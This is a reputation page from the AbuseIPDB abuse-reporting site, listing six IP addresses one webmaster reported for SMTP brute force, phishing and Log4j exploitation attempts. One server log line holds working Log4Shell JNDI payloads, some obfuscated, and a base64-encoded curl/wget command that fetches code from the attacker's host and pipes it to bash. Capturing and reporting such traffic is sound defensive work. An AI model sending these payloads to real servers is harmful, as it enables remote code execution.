User NelsonS , the webmaster of nserrao.com ,
joined AbuseIPDB in September 2021 and has reported 6 IP
addresses.
Standing (weight) is
good.
INACTIVE USER
WEBMASTER
IP
Date
Comment
Categories
🇳🇱
195.133.16.52
16 Jun 2022
SMTP Brute Force:
Jun 17 01:01:40 mail postfix/smtpd[30525]: warning: unknown[195.133.16.52]: SAS ...
show more
SMTP Brute Force:
Jun 17 01:01:40 mail postfix/smtpd[30525]: warning: unknown[195.133.16.52]: SASL LOGIN authentication failed: authentication failure
Jun 17 01:01:40 mail postfix/smtpd[30359]: warning: unknown[195.133.16.52]: SASL LOGIN authentication failed: authentication failure
Jun 17 01:01:50 mail postfix/smtpd[29933]: warning: unknown[195.133.16.52]: SASL LOGIN authentication failed: authentication failure
Jun 17 01:01:50 mail postfix/smtpd[30525]: warning: unknown[195.133.16.52]: SASL LOGIN authentication failed: authentication failure
Jun 17 01:01:51 mail postfix/smtpd[30525]: warning: unknown[195.133.16.52]: SASL LOGIN authentication failed: authentication failure
Jun 17 01:01:51 mail postfix/smtpd[30359]: warning: unknown[195.133.16.52]: SASL LOGIN authentication failed: authentication failure
Jun 17 01:02:02 mail postfix/smtpd[30525]: warning: unknown[195.133.16.52]: SASL LOGIN authentication failed: authentication failure
show less
Brute-Force
🇨🇳
175.6.210.66
23 Dec 2021
Apache Log4j Remote Code Execution (CVE-2021-44228) "/${jndi:ldap://185.246.87.50:1389/Exploit}"
Hacking
Web App Attack
🇫🇷
46.105.95.220
23 Dec 2021
Apache Log4j Remote Code Execution (CVE-2021-44228) "/${jndi:ldap://185.246.87.50:1389/Exploit}"
Hacking
Web App Attack
🇫🇷
185.246.87.50
23 Dec 2021
Apache Log4j Remote Code Execution (CVE-2021-44228) "/${jndi:ldap://185.246.87.50:1389/Exploit}"
Hacking
Web App Attack
🇷🇺
45.155.205.233
12 Dec 2021
45.155.205.233 - - [12/Dec/2021:05:10:34 +0000] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Co ...
show more
45.155.205.233 - - [12/Dec/2021:05:10:34 +0000] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC85NS4xMTEuMjMxLjE5Nzo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC85NS4xMTEuMjMxLjE5Nzo4MCl8YmFzaA==} HTTP/1.1" 200 163 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC85NS4xMTEuMjMxLjE5Nzo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC85NS4xMTEuMjMxLjE5Nzo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC85NS4xMTEuMjMxLjE5Nzo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC85NS4xMTEuMjMxLjE5Nzo4MCl8YmFzaA==}"
show less
Hacking
Web App Attack
🇲🇦
196.200.148.222
11 Nov 2021
It's sending lots of Phishing emails with our domain as sender. They are being rejected due SPF fail ...
show more
It's sending lots of Phishing emails with our domain as sender. They are being rejected due SPF fail - not authorized and we are receiving "undelivered mail return to sender" alerts.
show less
Phishing
Email Spam